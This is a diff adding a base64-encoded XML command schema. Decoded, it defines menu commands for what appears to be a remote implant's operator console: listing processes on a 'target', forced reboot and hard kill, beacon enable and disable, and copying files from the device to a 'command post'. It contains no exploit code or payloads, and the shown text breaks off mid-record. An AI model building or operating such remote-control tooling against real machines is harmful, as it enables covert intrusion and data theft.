+ICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8
+Y29sdW1uPg0KICAgICAgICAgICAgICA8dGl0bGU+S2lsbCBIYXJkPC90aXRsZT4NCiAgICAgICAg
+ICAgICAgPGVsZW1lbnQ+Q0FfaGFyZF9raWxsX2F0dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAg
+ICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICA8L25jdXJzZXNsYXlv
+dXQ+DQogICAgICA8L2NtZD4NCiAgICA8L2NtZGdycD4NCiAgICA8Y21kIHRpdGxlPSJzaG93Ij4N
+CiAgICAgIDxoZWxwdGV4dD5TaG93cyB0aGUgY3VycmVudCBzZXR0aW5ncyBhbmQgdmVyc2lvbiBp
+bmZvcm1hdGlvbiBhYm91dCB0aGUgY2EgY2FwYWJpbGl0eS48L2hlbHB0ZXh0Pg0KICAgICAgPHBy
+aW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxwcmlt
+aXRpdmU+MHgwMTAwMDAwMTwvcHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2
+ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0aXZlcz4N
+CiAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29s
+dW1uPg0KICAgICAgICAgICAgPHRpdGxlPkNBIFNob3c8L3RpdGxlPg0KICAgICAgICAgIDwvY29s
+dW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9j
+bWQ+DQogICAgPGNtZCB0aXRsZT0ic3RhdHVzIj4NCiAgICAgIDxoZWxwdGV4dD5TaG93cyBzdGF0
+aXN0aWNzIGFib3V0IHRoZSBjYSBjYXBhYmlsaXR5LjwvaGVscHRleHQ+DQogICAgICA8cHJpbWl0
+aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPHByaW1pdGl2
+ZT4weDAxMDAwMDAwPC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4N
+CiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgPC9wcmltaXRpdmVzPg0KICAg
+ICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+
+DQogICAgICAgICAgICA8dGl0bGU+Q0EgU3RhdHVzPC90aXRsZT4NCiAgICAgICAgICA8L2NvbHVt
+bj4NCiAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21k
+Pg0KICAgIDxjbWQgdGl0bGU9InN0b3JlIj4NCiAgICAgIDxoZWxwdGV4dD5Db3BpZXMgY2EgY2Fw
+YWJpbGl0eSBzZXR0aW5ncyBmcm9tIHZvbGF0aWxlIG1lbW9yeSB0byBwZXJzaXN0ZW50IG1lbW9y
+eSBvbiB0aGUgdGFyZ2V0LjwvaGVscHRleHQ+DQogICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAg
+PHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPHByaW1pdGl2ZT4weDAxMDAwMDAyPC9w
+cmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgPG9wdGlv
+bmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgPG5jdXJzZXNsYXlv
+dXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICA8
+dGl0bGU+Q0EgU3RvcmU8L3RpdGxlPg0KICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3Nl
+Y3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRs
+ZT0icmVib290Ij4NCiAgICAgIDxoZWxwdGV4dD5Gb3JjZXMgcmVib290PC9oZWxwdGV4dD4NCiAg
+ICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAg
+ICA8cHJpbWl0aXZlPjB4MDEwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9w
+cmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1p
+dGl2ZXM+DQogICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+
+DQogICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPG5jdXJzZWlkPkNB
+X3JlYm9vdF9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+RGVs
+YXk8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAg
+PHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAg
+ICAgICAgICAgPHByaW1pdGl2ZT4weDAxMDAwMDA1PC9wcmltaXRpdmU+DQogICAgICAgICAgICAg
+IDxhcmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAg
+ICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVz
+Pg0KICAgICAgICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICA8L2F0dHJpYnV0ZXM+DQog
+ICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVt
+bj4NCiAgICAgICAgICAgIDx0aXRsZT5SZWJvb3Q8L3RpdGxlPg0KICAgICAgICAgICAgPGVsZW1l
+bnQ+Q0FfcmVib290X2F0dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAgIDwvY29sdW1uPg0KICAg
+ICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogIDwv
+Y21kZ3JwPg0KICA8Y21kZ3JwIHRpdGxlPSJwcm9jZXNzIj4NCiAgICA8Y21kZ3JwIHRpdGxlPSJu
+YXRpdmUiPg0KICAgICAgPGNtZCB0aXRsZT0ic2hvdyI+DQogICAgICAgIDxoZWxwdGV4dD5MaXN0
+cyBjdXJyZW50IHByb2Nlc3NlcyBydW5uaW5nIG9uIHRoZSB0YXJnZXQuPC9oZWxwdGV4dD4NCiAg
+ICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAg
+ICAgICAgICA8cHJpbWl0aXZlPjB4MEIwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8L3Jl
+cXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAg
+ICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICAgIDxz
+ZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPHRpdGxlPk5hdGl2
+ZSBQcm9jZXNzZXMgUnVubmluZzwvdGl0bGU+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAg
+ICAgICA8L3NlY3Rpb24+DQogICAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICAgIDwvY21kPg0K
+ICAgIDwvY21kZ3JwPg0KICAgIDxjbWRncnAgdGl0bGU9ImRldmljZSI+DQogICAgICA8Y21kIHRp
+dGxlPSJzaG93Ij4NCiAgICAgICAgPGhlbHB0ZXh0Pkxpc3RzIGN1cnJlbnQgdG9vbCBwcm9jZXNz
+ZXMgcnVubmluZyBvbiB0aGUgdGFyZ2V0LjwvaGVscHRleHQ+DQogICAgICAgIDxwcmltaXRpdmVz
+Pg0KICAgICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgICAgPHByaW1pdGl2
+ZT4weDBCMDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVz
+Pg0KICAgICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgICAgPC9wcmltaXRpdmVz
+Pg0KICAgICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAg
+ICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDx0aXRsZT5OYXRpdmUgUHJvY2Vzc2VzIFJ1bm5p
+bmc8L3RpdGxlPg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0K
+ICAgICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgICA8L2NtZD4NCiAgICA8L2NtZGdycD4NCiAg
+ICA8Y21kIHRpdGxlPSJzaG93Ij4NCiAgICAgIDxoZWxwdGV4dD5MaXN0cyBjdXJyZW50IHByb2Nl
+c3NlcyBydW5uaW5nIG9uIHRoZSB0YXJnZXQuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVz
+Pg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MEIwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MEIwMDAwMDQ8L3By
+aW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9u
+YWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8bmN1cnNlc2xheW91
+dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0
+aXRsZT5Qcm9jZXNzIFNob3c8L3RpdGxlPg0KICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8
+L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0
+aXRsZT0ic3RhdHVzIj4NCiAgICAgIDxoZWxwdGV4dD5TaG93cyBzdGF0aXN0aWNzIGFib3V0IHRo
+ZSBwcm9jZXNzZXMuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVx
+dWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MEIwMDAwMDA8L3ByaW1p
+dGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxf
+cHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8bmN1cnNlc2xheW91dD4N
+CiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRs
+ZT5Qcm9jZXNzIFN0YXR1czwvdGl0bGU+DQogICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgIDwv
+c2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8L2NtZD4NCiAgICA8Y21kIHRp
+dGxlPSJzdG9yZSI+DQogICAgICA8aGVscHRleHQ+Q29waWVzIHByb2Nlc3Mgc2V0dGluZ3MgZnJv
+bSB2b2xhdGlsZSBtZW1vcnkgdG8gcGVyc2lzdGVudCBtZW1vcnkgb24gdGhlIHRhcmdldC48L2hl
+bHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVz
+Pg0KICAgICAgICAgIDxwcmltaXRpdmU+MHgwQjAwMDAwMjwvcHJpbWl0aXZlPg0KICAgICAgICA8
+L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAg
+ICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8c2VjdGlv
+bj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgPHRpdGxlPlByb2Nlc3MgU3RvcmU8
+L3RpdGxlPg0KICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8
+L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRsZT0iY2xvc2UiPg0KICAg
+ICAgPGhlbHB0ZXh0PkNsb3NlcyBhIHByb2Nlc3M8L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2
+ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRpdmU+
+MHgwQjAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQog
+ICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAg
+IDxhdHRyaWJ1dGVzPg0KICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICA8
+Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8bmN1cnNlaWQ+Zm9yY2VfY2xvc2VfYXR0
+cmliXzE8L25jdXJzZWlkPg0KICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlByb2Nlc3MgSUQ8L25j
+dXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPHR5cGU+
+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4zMjwvc2l6ZT4NCiAgICAgICAgICAg
+ICAgPHByaW1pdGl2ZT4weDBCMDAwMDA1PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgIDxhcmdu
+dW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAg
+PC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAg
+ICAgICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICA8
+bmN1cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAg
+ICAgICAgICAgIDx0aXRsZT5DbG9zZSBQcm9jZXNzPC90aXRsZT4NCiAgICAgICAgICAgIDxlbGVt
+ZW50PmZvcmNlX2Nsb3NlX2F0dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAgIDwvY29sdW1uPg0K
+ICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQog
+IDwvY21kZ3JwPg0KICA8Y21kZ3JwIHRpdGxlPSJiZWFjb24iPg0KICAgIDxjbWRncnAgdGl0bGU9
+ImFueXdheSI+DQogICAgICA8Y21kIHRpdGxlPSJlbmFibGUiPg0KICAgICAgICA8aGVscHRleHQ+
+RW5hYmxlcyB0aGUgYmVhY29uIGFueXdheSBmZWF0dXJlLjwvaGVscHRleHQ+DQogICAgICAgIDxw
+cmltaXRpdmVzPg0KICAgICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgICAg
+PHByaW1pdGl2ZT4weDAwMDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgICAgPC9yZXF1aXJlZF9w
+cmltaXRpdmVzPg0KICAgICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgICAgPC9w
+cmltaXRpdmVzPg0KICAgICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgICA8c2VjdGlvbj4N
+CiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDx0aXRsZT5CZWFjb24gQW55d2F5
+IEVuYWJsZTwvdGl0bGU+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rp
+b24+DQogICAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICAgIDwvY21kPg0KICAgICAgPGNtZCB0
+aXRsZT0iZGlzYWJsZSI+DQogICAgICAgIDxoZWxwdGV4dD5EaXNhYmxlcyB0aGUgYmVhY29uIGFu
+eXdheSBmZWF0dXJlLjwvaGVscHRleHQ+DQogICAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICAg
+IDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDAwMDAwMDA2
+PC9wcmltaXRpdmU+DQogICAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAg
+IDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgICA8
+bmN1cnNlc2xheW91dD4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+
+DQogICAgICAgICAgICAgIDx0aXRsZT5CZWFjb24gQW55d2F5IERpc2FibGU8L3RpdGxlPg0KICAg
+ICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICA8L25jdXJz
+ZXNsYXlvdXQ+DQogICAgICA8L2NtZD4NCiAgICA8L2NtZGdycD4NCiAgICA8Y21kIHRpdGxlPSJz
+aG93Ij4NCiAgICAgIDxoZWxwdGV4dD5EaXNwbGF5cyB0aGUgY3VycmVudCBiZWFjb24gcGFyYW1l
+dGVycy48L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9w
+cmltaXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRpdmU+MHgwMDAwMDAwMTwvcHJpbWl0aXZlPg0K
+ICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRp
+dmVzLz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAg
+ICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgPHRpdGxlPmJlYWNv
+biBTaG93PC90aXRsZT4NCiAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgPC9zZWN0aW9uPg0K
+ICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21kPg0KICAgIDxjbWQgdGl0bGU9InN0YXR1
+cyI+DQogICAgICA8aGVscHRleHQ+U2hvd3Mgc3RhdGlzdGljcyBhYm91dCB0aGUgYmVhY29uIGNh
+cGFiaWxpdHkuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWly
+ZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MDAwMDAwMDA8L3ByaW1pdGl2
+ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJp
+bWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8bmN1cnNlc2xheW91dD4NCiAg
+ICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRsZT5C
+ZWFjb24gU3RhdHVzPC90aXRsZT4NCiAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgPC9zZWN0
+aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21kPg0KICAgIDxjbWQgdGl0bGU9
+InN0b3JlIj4NCiAgICAgIDxoZWxwdGV4dD5Db3BpZXMgYmVhY29uIGNhcGFiaWxpdHkgc2V0dGlu
+Z3MgZnJvbSB2b2xhdGlsZSBtZW1vcnkgdG8gcGVyc2lzdGVudCBtZW1vcnkgb24gdGhlIHRhcmdl
+dC48L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmlt
+aXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRpdmU+MHgwMDAwMDAwMjwvcHJpbWl0aXZlPg0KICAg
+ICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVz
+Lz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8
+c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgPHRpdGxlPmJlYWNvbiBT
+dG9yZTwvdGl0bGU+DQogICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAg
+ICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8L2NtZD4NCiAgICA8Y21kIHRpdGxlPSJlbmFibGUi
+Pg0KICAgICAgPGhlbHB0ZXh0PlNldHMgdGhlIG9wZXJhdGlvbmFsIHN0YXRlIG9mIGJlYWNvbnMg
+dG8gZW5hYmxlZC48L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1
+aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRpdmU+MHgwMDAwMDAwMzwvcHJpbWl0
+aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9w
+cmltaXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0K
+ICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgPHRpdGxl
+PkJlYWNvbiBFbmFibGU8L3RpdGxlPg0KICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3Nl
+Y3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRs
+ZT0iZGlzYWJsZSI+DQogICAgICA8aGVscHRleHQ+U2V0cyB0aGUgb3BlcmF0aW9uYWwgc3RhdGUg
+b2YgYmVhY29ucyB0byBkaXNhYmxlZC48L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2ZXM+DQog
+ICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRpdmU+MHgwMDAw
+MDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAg
+IDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgIDxuY3Vy
+c2VzbGF5b3V0Pg0KICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAgICAg
+ICAgICAgPHRpdGxlPmJlYWNvbiBEaXNhYmxlPC90aXRsZT4NCiAgICAgICAgICA8L2NvbHVtbj4N
+CiAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21kPg0K
+ICA8L2NtZGdycD4NCiAgPGNtZGdycCB0aXRsZT0iZmlsZSI+DQogICAgPGNtZCB0aXRsZT0ic2hv
+dyI+DQogICAgICA8aGVscHRleHQ+RGlzcGxheXMgdGhlIGN1cnJlbnQgc2V0dGluZ3Mgb2YgdGhl
+IGZpbGUgY2FwYWJpbGl0eS48L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAg
+IDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRpdmU+MHgwMjAwMDAwMTwv
+cHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgIDxvcHRp
+b25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgIDxuY3Vyc2VzbGF5
+b3V0Pg0KICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAg
+PHRpdGxlPkZpbGUgU2hvdzwvdGl0bGU+DQogICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgIDwv
+c2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8L2NtZD4NCiAgICA8Y21kIHRp
+dGxlPSJzdGF0dXMiPg0KICAgICAgPGhlbHB0ZXh0PlNob3dzIHN0YXRpc3RpY3MgYWJvdXQgdGhl
+IGZpbGUgY2FwYWJpbGl0eS48L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAg
+IDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRpdmU+MHgwMjAwMDAwMDwv
+cHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgIDxvcHRp
+b25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgIDxuY3Vyc2VzbGF5
+b3V0Pg0KICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAg
+PHRpdGxlPkZpbGUgU3RhdHVzPC90aXRsZT4NCiAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAg
+PC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21kPg0KICAgIDxjbWQg
+dGl0bGU9InN0b3JlIj4NCiAgICAgIDxoZWxwdGV4dD5Db3BpZXMgZmlsZSBjYXBhYmlsaXR5IHNl
+dHRpbmdzIGZyb20gdm9sYXRpbGUgbWVtb3J5IHRvIHBlcnNpc3RlbnQgbWVtb3J5IG9uIHRoZSB0
+YXJnZXQuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRf
+cHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MDIwMDAwMDI8L3ByaW1pdGl2ZT4N
+CiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0
+aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAg
+ICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRsZT5GaWxl
+IFN0b3JlPC90aXRsZT4NCiAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgPC9zZWN0aW9uPg0K
+ICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21kPg0KICAgIDxjbWQgdGl0bGU9ImdldCI+
+DQogICAgICA8aGVscHRleHQ+Q29waWVzIGEgbWFzcyBzdG9yYWdlIGZpbGUgZnJvbSB0aGUgZGV2
+aWNlIGludG8gc3RvcmFnZSBvbiB0aGUgbG9jYWwgY29tbWFuZCBwb3N0LiBUaGUgZmlsZW5hbWUg
+bWF5IGluY2x1ZGUgcGF0aCBzcGVjaWZpY2F0aW9ucyBhcHByb3ByaWF0ZSBmb3IgdGhlIG9wZXJh
+dGluZyBzeXN0ZW1zIG9uIHRoZSBjb21tYW5kIHBvc3Qgb3IgdGFyZ2V0IHdvcmtzdGF0aW9uLjwv
+aGVscHRleHQ+DQogICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2
+ZXM+DQogICAgICAgICAgPHByaW1pdGl2ZT4weDAyMDAwMDA5PC9wcmltaXRpdmU+DQogICAgICAg
+IDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0K
+ICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgIDxyZXF1aXJl
+ZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAg
+IDxuY3Vyc2VpZD5maWxlX2dldF9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1
